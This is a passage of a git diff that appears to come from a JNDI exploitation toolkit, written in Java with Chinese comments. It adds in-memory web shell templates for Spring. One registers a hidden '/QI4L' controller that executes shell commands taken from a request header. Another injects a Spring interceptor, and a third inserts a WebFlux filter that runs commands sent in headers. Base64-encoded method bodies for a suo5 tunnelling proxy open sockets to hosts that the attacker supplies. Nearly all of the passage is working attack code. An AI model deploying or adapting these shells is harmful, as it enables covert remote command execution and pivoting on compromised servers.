"cHVibGljIHZvaWQgcmVhZElucHV0U3RyZWFtV2l0aFRpbWVvdXQoamF2YS5pby5JbnB1dFN0cmVhbSBpcywgYnl0ZVtdIGIsIGludCB0aW1lb3V0TWlsbGlzKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiwgamF2YS5sYW5nLkludGVycnVwdGVkRXhjZXB0aW9uIHsKCQlpbnQgIGJ1ZmZlck9mZnNldCAgPSAwOwoJCWxvbmcgbWF4VGltZU1pbGxpcyA9IG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSArIHRpbWVvdXRNaWxsaXM7CgkJd2hpbGUgKG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSA8IG1heFRpbWVNaWxsaXMgJiYgYnVmZmVyT2Zmc2V0IDwgYi5sZW5ndGgpIHsKCQkJaW50IHJlYWRMZW5ndGggPSBiLmxlbmd0aCAtIGJ1ZmZlck9mZnNldDsKCQkJaWYgKGlzLmF2YWlsYWJsZSgpIDwgcmVhZExlbmd0aCkgewoJCQkJcmVhZExlbmd0aCA9IGlzLmF2YWlsYWJsZSgpOwoJCQl9CgkJCWludCByZWFkUmVzdWx0ID0gaXMucmVhZChiLCBidWZmZXJPZmZzZXQsIHJlYWRMZW5ndGgpOwoJCQlpZiAocmVhZFJlc3VsdCA9PSAtMSkgYnJlYWs7CgkJCWJ1ZmZlck9mZnNldCArPSByZWFkUmVzdWx0OwoJCQlqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDIwMEwpOwoJCX0KCX0="; + + public static String CMD_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIHNiLmFwcGVuZChleGVjQ21kKHRoaXMuQ09NTUFORCkpOwp9"; + + // suo5 tryFullDuplex 方法,需要 readInputStreamWithTimeout 方法 + public static String SUO5_TRY_FULL_DUPLEX = "CXB1YmxpYyB2b2lkIHRyeUZ1bGxEdXBsZXgoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSkgdGhyb3dzIGphdmEuaW8uSU9FeGNlcHRpb24sIGphdmEubGFuZy5JbnRlcnJ1cHRlZEV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWJ5dGVbXSAgICAgICAgICAgICAgZGF0YSA9IG5ldyBieXRlWzMyXTsKCQlyZWFkSW5wdXRTdHJlYW1XaXRoVGltZW91dChpbiwgZGF0YSwgMjAwMCk7CgkJamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0ID0gcmVzcG9uc2UuZ2V0T3V0cHV0U3RyZWFtKCk7CgkJb3V0LndyaXRlKGRhdGEpOwoJfQ=="; + + // suo5 readReq 方法,需要 unmarshal 方法 + public static String SUO5_READ_REQ = "CXByaXZhdGUgdm9pZCByZWFkUmVxKGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSBidWZJbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gc29ja2V0T3V0U3RyZWFtKSB0aHJvd3MgamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJd2hpbGUgKHRydWUpIHsKCQkJamF2YS51dGlsLkhhc2hNYXAgZGF0YU1hcCA9IHVubWFyc2hhbChidWZJbnB1dFN0cmVhbSk7CgkJCWJ5dGVbXSBhY3Rpb24gPSAoYnl0ZVtdKSBkYXRhTWFwLmdldCgiYWMiKTsKCQkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSkgewoJCQkJcmV0dXJuOwoKCQkJfQoJCX0KCX0="; + + // suo5 processDataUnary 方法,需要 unmarshal,marshal,readSocket,newStatus,newDel + public static String SUO5_PROCESS_DATA_UNARY = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhVW5hcnkoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwKSB0aHJvd3MKCQkJamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICBpcyAgICAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWphdmF4LnNlcnZsZXQuU2VydmxldENvbnRleHQgY3R4ICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpLmdldFNlcnZsZXRDb250ZXh0KCk7CgkJamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtICByZWFkZXIgID0gbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShpcyk7CgkJamF2YS51dGlsLkhhc2hNYXAgICAgICAgICAgICBkYXRhTWFwID0gdW5tYXJzaGFsKHJlYWRlcik7CgoJCVN0cmluZyBjbGllbnRJZCA9IG5ldyBTdHJpbmcoKGJ5dGVbXSkgZGF0YU1hcC5nZXQoImlkIikpOwoJCWJ5dGVbXSBhY3Rpb24gICA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJhYyIpOwoJCWlmIChhY3Rpb24ubGVuZ3RoICE9IDEpIHsKCQkJcmVzcC5zZXRTdGF0dXMoNDAzKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRCdWZmZXJTaXplKDggKiAxMDI0KTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSByZXNwT3V0U3RyZWFtID0gcmVzcC5nZXRPdXRwdXRTdHJlYW0oKTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSBzY091dFN0cmVhbTsKCQlpZiAoYWN0aW9uWzBdID09IDB4MDIpIHsKCQkJc2NPdXRTdHJlYW0gPSAoamF2YS5pby5PdXRwdXRTdHJlYW0pIGN0eC5nZXRBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCQlpZiAoc2NPdXRTdHJlYW0gIT0gbnVsbCkgewoJCQkJc2NPdXRTdHJlYW0uY2xvc2UoKTsKCQkJfQoJCQlyZXR1cm47CgkJfSBlbHNlIGlmIChhY3Rpb25bMF0gPT0gMHgwMSkgewoJCQlzY091dFN0cmVhbSA9IChqYXZhLmlvLk91dHB1dFN0cmVhbSkgY3R4LmdldEF0dHJpYnV0ZShjbGllbnRJZCk7CgkJCWlmIChzY091dFN0cmVhbSA9PSBudWxsKSB7CgkJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3RGVsKCkpKTsKCQkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJCXJldHVybjsKCQkJfQoJCQlieXRlW10gZGF0YSA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJkdCIpOwoJCQlpZiAoZGF0YS5sZW5ndGggIT0gMCkgewoJCQkJc2NPdXRTdHJlYW0ud3JpdGUoZGF0YSk7CgkJCQlzY091dFN0cmVhbS5mbHVzaCgpOwoJCQl9CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRIZWFkZXIoIlgtQWNjZWwtQnVmZmVyaW5nIiwgIm5vIik7CgkJU3RyaW5nICAgICAgICAgIGhvc3QgPSBuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJwIikpKTsKCQlqYXZhLm5ldC5Tb2NrZXQgc2M7CgkJdHJ5IHsKCQkJc2MgPSBuZXcgamF2YS5uZXQuU29ja2V0KCk7CgkJCXNjLmNvbm5lY3QobmV3IGphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzKGhvc3QsIHBvcnQpLCA1MDAwKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAxKSkpOwoJCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQljdHguc2V0QXR0cmlidXRlKGNsaWVudElkLCBzY091dFN0cmVhbSk7CgkJcmVzcE91dFN0cmVhbS53cml0ZShtYXJzaGFsKG5ld1N0YXR1cygoYnl0ZSkgMHgwMCkpKTsKCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgoJCWphdmEuaW8uSW5wdXRTdHJlYW0gc2NJblN0cmVhbSA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9IGZpbmFsbHkgewoJCQlzYy5jbG9zZSgpOwoJCQlyZXNwT3V0U3RyZWFtLmNsb3NlKCk7CgkJCWN0eC5yZW1vdmVBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCX0KCX0="; + + // suo5 processDataBio 方法,需要 unmarshal,readReq,newStatus,marshal,setStream 方法 + public static String SUO5_PROCESS_DATA_BIO = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhQmlvKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgcmVxdWVzdCwgamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcCkgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWZpbmFsIGphdmEuaW8uSW5wdXRTdHJlYW0gICAgICAgICByZXFJbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0gcmVxUmVhZGVyICAgICAgPSBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKHJlcUlucHV0U3RyZWFtKTsKCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgICAgICAgICAgICAgZGF0YU1hcCAgICAgICAgPSB1bm1hcnNoYWwocmVxUmVhZGVyKTsKCgkJYnl0ZVtdIGFjdGlvbiA9IChieXRlW10pZGF0YU1hcC5nZXQoImFjIik7CgkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSB8fCBhY3Rpb25bMF0gIT0gMHgwMCkgewoJCQlyZXNwLnNldFN0YXR1cyg0MDMpOwoJCQlyZXR1cm47CgkJfQoJCXJlc3Auc2V0QnVmZmVyU2l6ZSg4ICogMTAyNCk7CgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gcmVzcE91dFN0cmVhbSA9IHJlc3AuZ2V0T3V0cHV0U3RyZWFtKCk7CgoJCS8vIDB4MDAgY3JlYXRlIHNvY2tldAoJCXJlc3Auc2V0SGVhZGVyKCJYLUFjY2VsLUJ1ZmZlcmluZyIsICJubyIpOwoJCVN0cmluZyAgICAgICAgICBob3N0ID0gbmV3IFN0cmluZygoYnl0ZVtdKWRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pZGF0YU1hcC5nZXQoInAiKSkpOwoJCWphdmEubmV0LlNvY2tldCBzYzsKCQl0cnkgewoJCQlzYyA9IG5ldyBqYXZhLm5ldC5Tb2NrZXQoKTsKCQkJc2MuY29ubmVjdChuZXcgamF2YS5uZXQuSW5ldFNvY2tldEFkZHJlc3MoaG9zdCwgcG9ydCksIDUwMDApOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXJlc3BPdXRTdHJlYW0ud3JpdGUobWFyc2hhbChuZXdTdGF0dXMoKGJ5dGUpIDB4MDEpKSk7CgkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlyZXR1cm47CgkJfQoKCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAwKSkpOwoJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLklucHV0U3RyZWFtICBzY0luU3RyZWFtICA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCWphdmEubGFuZy5UaHJlYWQgdCA9IG51bGw7CgkJdHJ5IHsKCQkJdGhpcy5zZXRTdHJlYW0oc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJCXQgPSBuZXcgamF2YS5sYW5nLlRocmVhZCgoamF2YS5sYW5nLlJ1bm5hYmxlKSB0aGlzKTsKCQkJdC5zdGFydCgpOwoJCQlyZWFkUmVxKHJlcVJlYWRlciwgc2NPdXRTdHJlYW0pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfSBmaW5hbGx5IHsKCQkJc2MuY2xvc2UoKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlpZiAodCAhPSBudWxsKSB7CgkJCQl0LmpvaW4oKTsKCQkJfQoJCX0KCX0="; + + // suo 关键方法,需要 Field HEADER_KEY HEADER_VALUE,需要 processDataUnary processDataBio 方法 + public static String SUO5 = "ewoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICAgICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsKCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOwoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIgICAgICAgPSByZXF1ZXN0LmdldEhlYWRlcihIRUFERVJfS0VZKTsKCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGUgPSByZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1UeXBlIik7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgaGVhZGVyLmVxdWFscyhIRUFERVJfVkFMVUUpKSB7CgkJCQlpZiAoY29udGVudFR5cGUgPT0gbnVsbCkgewoJCQkJCXJldHVybjsKCQkJCX0KCQkJCXRyeSB7CgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vcGxhaW4iKSkgewoJCQkJCQl0cnlGdWxsRHVwbGV4KHJlcXVlc3QsIHJlc3BvbnNlKTsKCQkJCQkJcmV0dXJuOwoJCQkJCX0KCgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikpIHsKCQkJCQkJcHJvY2Vzc0RhdGFCaW8ocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXByb2Nlc3NEYXRhVW5hcnkocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9"; + + // run 方法,需要 readSocket 方法,需要 Field gInStream,gOutStream + public static String RUN = "cHVibGljIHZvaWQgcnVuKCkgewoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoZ0luU3RyZWFtLCBnT3V0U3RyZWFtKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java new file mode 100644 index 0000000..b2a685a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java @@ -0,0 +1,181 @@ +package com.qi4l.jndi.template.memshell.spring; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Map; + +public class SpringControllerMS { + public static ClassLoader suLoader; + + static { + try { + final String controllerPath = "/QI4L"; + getClassLoader(); + Class utilClass = sayMyName("org.springframework.web.servlet.support.RequestContextUtils"); + Class holder = sayMyName("org.springframework.web.context.request.RequestContextHolder"); + Class servletRequestAttr = sayMyName("org.springframework.web.context.request.ServletRequestAttributes"); + Class reqMappingHandler = sayMyName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); + Class beanFactory = sayMyName("org.springframework.beans.factory.BeanFactory"); + + + Class servletRequest = sayMyName("javax.servlet.ServletRequest"); + Class httpServletRequest = sayMyName("javax.servlet.http.HttpServletRequest"); + + // 获取当前应用上下文 + Method getWebApplicationContext; + getWebApplicationContext = getMethodByClass(utilClass, "getWebApplicationContext", new Class[]{servletRequest}); + if (getWebApplicationContext == null) { + getWebApplicationContext = getMethodByClass(utilClass, "findWebApplicationContext", new Class[]{httpServletRequest}); + } + + getWebApplicationContext.setAccessible(true); + + // 获取 ServletRequestAttributes + Method getAttributes = getMethodByClass(holder, "currentRequestAttributes", new Class[]{}); + getAttributes.setAccessible(true); + Object servletRequestAttributes = getAttributes.invoke(null); + + // 获取 Request + Method getRequest = getMethodByClass(servletRequestAttr, "getRequest", new Class[]{}); + getRequest.setAccessible(true); + Object requestObj = getRequest.invoke(servletRequestAttributes); + // 获取 WebApplicationContext + Object context = getWebApplicationContext.invoke(null, requestObj); + + // 通过 context 获取 RequestMappingHandlerMapping 对象 + Method getBean = getMethodByClass(beanFactory, "getBean", new Class[]{Class.class}); + getBean.setAccessible(true); + Object mapping = getBean.invoke(context, reqMappingHandler); + + // 获取父类的 MappingRegistry 属性 + Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); + f.setAccessible(true); + Object mappingRegistry = f.get(mapping); + + // 反射调用 MappingRegistry 的 register 方法 + Class c = sayMyName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"); + Method[] ms = c.getDeclaredMethods(); + + // 判断当前路径是否已经添加 + Field lookupField; + try { + lookupField = c.getDeclaredField("urlLookup"); + } catch (Exception ignored) { + lookupField = c.getDeclaredField("pathLookup"); + } + lookupField.setAccessible(true); + + boolean flag = true; + + Map urlLookup = (Map) lookupField.get(mappingRegistry); + for (String urlPath : urlLookup.keySet()) { + if (controllerPath.equals(urlPath)) { + flag = false; + break; + } + } + + if (flag) { + // 初始化一些注册需要的信息 + + Boolean isSpringHigh = false; + Object url; + Object pPRC = null; + Class requestConditionClass; + + // 高版本 Spring 期望使用 PathPatternsRequestCondition + try { + requestConditionClass = sayMyName("org.springframework.web.servlet.mvc.condition.PathPatternsRequestCondition"); + + Class pathPatternParserClass = sayMyName("org.springframework.web.util.pattern.PathPatternParser"); + Constructor constructor = requestConditionClass.getDeclaredConstructor(pathPatternParserClass, String[].class); + constructor.setAccessible(true); + pPRC = constructor.newInstance(pathPatternParserClass.newInstance(), new String[]{controllerPath}); + isSpringHigh = true; + } catch (Exception ignored) { + } + + // 低版本使用 PatternsRequestCondition + requestConditionClass = sayMyName("org.springframework.web.servlet.mvc.condition.PatternsRequestCondition"); + Constructor constructor = requestConditionClass.getDeclaredConstructor(String[].class); + constructor.setAccessible(true); + url = constructor.newInstance(new Object[]{new String[]{controllerPath}}); + + + Class requestMethodsRequestCondition = sayMyName("org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition"); + Class requestMappingInfo = sayMyName("org.springframework.web.servlet.mvc.method.RequestMappingInfo"); + + Class params = sayMyName("org.springframework.web.servlet.mvc.condition.ParamsRequestCondition"); + Class headers = sayMyName("org.springframework.web.servlet.mvc.condition.HeadersRequestCondition"); + Class consumes = sayMyName("org.springframework.web.servlet.mvc.condition.ConsumesRequestCondition"); + Class produces = sayMyName("org.springframework.web.servlet.mvc.condition.ProducesRequestCondition"); + Class requestCondition = sayMyName("org.springframework.web.servlet.mvc.condition.RequestCondition"); + + + // 实例化 RequestMethodsRequestCondition + Constructor constructor1 = requestMethodsRequestCondition.getDeclaredConstructor(java.util.Set.class); + constructor1.setAccessible(true); + Object condition = constructor1.newInstance(new java.util.HashSet()); + + // 实例化 RequestMappingInfo + Constructor constructor2 = requestMappingInfo.getDeclaredConstructor(requestConditionClass, requestMethodsRequestCondition, params, headers, consumes, produces, requestCondition); + constructor2.setAccessible(true); + Object info = constructor2.newInstance(url, condition, null, null, null, null, null); + + // + if (isSpringHigh) { + Field field = requestMappingInfo.getDeclaredField("pathPatternsCondition"); + field.setAccessible(true); + field.set(info, pPRC); + } + + for (Method method : ms) { + if ("register".equals(method.getName())) { + // 反射调用 MappingRegistry 的 register 方法注册 SpringControllerMS 的 index + method.setAccessible(true); + method.invoke(mappingRegistry, info, SpringControllerMS.class.newInstance(), SpringControllerMS.class.getDeclaredMethod("readObjectToData", new Class[]{})); + } + } + } + } catch (Exception ignored) { + } + + } + + public static Class sayMyName(String name) throws Exception { + return Class.forName(name, true, suLoader); + } + + public static void getClassLoader() { + suLoader = Thread.currentThread().getContextClassLoader(); + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public void readObjectToData() throws Exception { + Class holder = sayMyName("org.springframework.web.context.request.RequestContextHolder"); + Class httpServletRequest = sayMyName("javax.servlet.http.HttpServletRequest"); + Class servletRequestAttr = sayMyName("org.springframework.web.context.request.ServletRequestAttributes"); + Method getAttributes = getMethodByClass(holder, "currentRequestAttributes", new Class[]{}); + getAttributes.setAccessible(true); + Object servletRequestAttributes = getAttributes.invoke(null); + Method getRequest = getMethodByClass(servletRequestAttr, "getRequest", new Class[]{}); + getRequest.setAccessible(true); + Object requestObj = getRequest.invoke(servletRequestAttributes); + Method method = getMethodByClass(httpServletRequest, "getHeader", new Class[]{String.class}); + java.lang.Runtime.getRuntime().exec(method.invoke(requestObj, "QI4L").toString()); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java new file mode 100644 index 0000000..a394dde --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java @@ -0,0 +1,59 @@ +package com.qi4l.jndi.template.memshell.spring; + +import org.springframework.beans.BeansException; +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; + +import javax.servlet.ServletRequest; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Method; + +/** + * Spring Interceptor型 内存马 + * + * @author QI4L + */ +public class SpringInterceptorMS extends HandlerInterceptorAdapter { + + static { + try { + Class RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils"); + + Method getWebApplicationContext; + try { + getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class); + } catch (NoSuchMethodException e) { + getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class); + } + getWebApplicationContext.setAccessible(true); + + WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); + + //从 requestMappingHandlerMapping 中获取 adaptedInterceptors 属性 老版本是 DefaultAnnotationHandlerMapping + org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping; + try { + Class RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); + abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping); + } catch (BeansException e) { + Class DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping"); + abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping); + } + + java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + field.setAccessible(true); + java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping); + + //添加SpringInterceptorTemplate类到adaptedInterceptors + adaptedInterceptors.add(new SpringInterceptorMS()); + } catch (Exception ignored) { + } + } + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + return true; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java new file mode 100644 index 0000000..45f3685 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java @@ -0,0 +1,134 @@ +package com.qi4l.jndi.template.memshell.spring; + +import org.springframework.core.io.buffer.DefaultDataBuffer; +import org.springframework.core.io.buffer.DefaultDataBufferFactory; +import org.springframework.util.MultiValueMap; +import org.springframework.web.server.ServerWebExchange; +import org.springframework.web.server.WebFilter; +import org.springframework.web.server.WebFilterChain; +import org.springframework.web.server.WebHandler; +import org.springframework.web.server.handler.DefaultWebFilterChain; +import org.springframework.web.server.handler.FilteringWebHandler; +import reactor.core.publisher.Mono; + +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.function.Function; + +/** + * 此内存马目前仅支持了 gz 以及 cmd + * 暂未适配冰蝎及 gzraw + */ +public class SpringWebfluxMS implements WebFilter, Function, Mono> { + public static String HEADER_KEY; + public static String HEADER_VALUE; + public static String CMD_HEADER; + public static Map store = new HashMap(); + + static { + FilteringWebHandler filteringWebHandler = null; + + try { + // WebFlux 默认是 Netty,但是很多人喜欢用 Tomcat ,因此本内存马支持这两种 + Class.forName("org.apache.catalina.loader.WebappClassLoaderBase"); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + + Map map = (Map) getFieldValue(getFieldValue(getFieldValue(loader, "resources"), "context"), "children"); + Object servlet = map.get("httpHandlerServlet"); + filteringWebHandler = (FilteringWebHandler) getFieldValue(getFieldValue(getFieldValue(getFieldValue( + getFieldValue(servlet, "existing"), "httpHandler"), "delegate"), "delegate"), "delegate"); + + } catch (Exception ignored) { + try { + Method getThreads = Thread.class.getDeclaredMethod("getThreads"); + getThreads.setAccessible(true); + Object threads = getThreads.invoke(null); + for (int i = 0; i < Array.getLength(threads); i++) { + Object thread = Array.get(threads, i); + if (thread != null && thread.getClass().getName().contains("NettyWebServer")) { + filteringWebHandler = (FilteringWebHandler) getFieldValue(getFieldValue( + getFieldValue(getFieldValue(getFieldValue( + getFieldValue(thread, "this$0"), "handler"), + "httpHandler"), "delegate"), "delegate"), "delegate"); + break; + } + } + } catch (Exception neverMind) { + } + } + + + if (filteringWebHandler != null) { + try { + DefaultWebFilterChain defaultWebFilterChain = (DefaultWebFilterChain) getFieldValue(filteringWebHandler, "chain"); + Object handler = getFieldValue(defaultWebFilterChain, "handler"); + List newAllFilters = new ArrayList(defaultWebFilterChain.getFilters()); + newAllFilters.add(0, new SpringWebfluxMS()); + DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters); + Field f = filteringWebHandler.getClass().getDeclaredField("chain"); + f.setAccessible(true); + Field modifersField = Field.class.getDeclaredField("modifiers"); + modifersField.setAccessible(true); + modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); + f.set(filteringWebHandler, newChain); + modifersField.setInt(f, f.getModifiers() & Modifier.FINAL); + } catch (Exception ignored) { + } + } + } + + String COMMAND; + + public SpringWebfluxMS() { + } + + public SpringWebfluxMS(String COMMAND) { + this.COMMAND = COMMAND; + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + @Override + public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { + String value = exchange.getRequest().getHeaders().getFirst(HEADER_KEY); + String cmd = exchange.getRequest().getHeaders().getFirst(CMD_HEADER); + if (value != null && value.contains(HEADER_VALUE)) { + Mono bufferStream = exchange.getFormData().flatMap(new SpringWebfluxMS(cmd)); + return 